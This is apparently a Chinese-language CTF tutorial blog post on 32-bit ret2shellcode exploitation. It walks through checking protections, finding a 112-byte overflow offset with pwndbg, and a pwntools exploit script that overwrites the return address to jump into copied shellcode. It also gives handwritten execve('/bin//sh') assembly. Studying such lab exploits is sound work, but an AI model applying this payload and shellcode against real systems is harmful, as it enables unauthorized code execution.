【Pwn】Rop-Ret2Shellcode-32位

目录

linux系统调用:

获取shellcode两种方式:

1.手写

2.pwntools自动生成

NX保护:

例:


ret2text漏洞依赖于程序中存在system(“/bin/sh”)的函数

若没有此函数,可以传入自定义shellcode

//shellcode是黑客编写的用于实行特定功能的汇编代码,例如:execve(“/bin/sh”,null,null);

Ret2Shellcode条件:1.无执行shell的函数

                                  2.没有开启NX保护

Ret2libc条件:1.开启NX

                        2.使用libc函数:leak libc + ROP

linux系统调用:

系统调用号目录:/usr/include/x86_64-linux-gnu/asm/unistd_32.h

 11号execve能帮我们执行任意的shell

 参数为execve所需的参数

当系统执行到int 0x80时,会跳转到execve(因为在eax中)

获取shellcode两种方式:

1.手写

(1)想办法调用execve(“/bin/sh”,null,null);

(2)传入字符串/bin///sh

(3)系统调用execve

eax = 11

ebx = bin_sh_addr(参数一)

ecx = 0(参数二)

edx = 0(参数三)

2.pwntools自动生成

(1)先指定context.arch = "i386/amd64"

(2)asm(自定义shellcode)或 asm(shellcraft.sh())

(3)自动生成shellcode

NX保护:

又称DEP,数据执行保护:可写的不可执行,可执行的不可写

例:

拿到文件

1.checksec xxx

发现无NX,无canary保护,可以考虑用ret2text或ret2shellcode

2.查看是否有系统函数system(“/bin/sh”);

objdump -d -xxx |grep system        //-d显示汇编

发现什么都没找到,只能用ret2shellcode

3.gdb xxx

(示例用的pwndbg)

disass main        //看一下main函数

看一下:

 又看到了gets函数

 分析可知,参数来源于 esp+0x1c

又看到了strncpy函数

 分析可知,拷贝0x64个字节,参数来自于 esp+0x1c,拷贝到0x804a080

思路:

两个参数都来自于esp+0x1c,可以利用gets收到shellcode放入esp+0x1c,顺便覆盖返回地址为0x804a080,然后利用strncpy函数,将shellcode拷贝到0x804a080,这样返回时就返回到了shellcode。

4.查看一下要拷贝的那个地址所在的段要没有执行权限

/*因为vmmap直接显示了地址,所以以下步骤不需要

查看要拷贝的那个地址所在的段

gdb(peda):readelf 文件名

shell:readelf -S  文件名(注意大小写,一定是大S)

找到0x804a080(找到了 .bss 0x804a040,0x804a080应该属于这个段)

*/

打开gdb,下断点运行

vmmap

找到0x804a080,有x(执行)权限

5.找到偏移量

pwndbg

cyclic 200

复制

r

粘贴

程序崩溃,给出报错地址

cyclic -l 报错地址

得到偏移112

6.exp

from pwn import *

context(arch = "i386",os = "linux",log_level = "debug")        //因为涉及到了shellcode,需要指定环境为32位,影响下面生成的shellcode;下划线内容可不带

p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())        //生成了shellcode,但不确定长度,要将长度确定为112

payload = shellcode.ljust(112,'A') + p32(0x804a080)   //ljust(112,'A')使shellcode长度确定为112,不够112用A填充

p.sendline(payload)

p.interactive()

试试手写汇编:

shellcode = asm("""

push 0x68

push 0x732f2f2f

push 0x6e69622f

mov ebx,esp

xor ecx,ecx

xor edx,edx

push 11

pop eax

int 0x80

""")

posted @ 2022-05-24 19:42  轻闲一号机  阅读(26)  评论(0)    收藏  举报  来源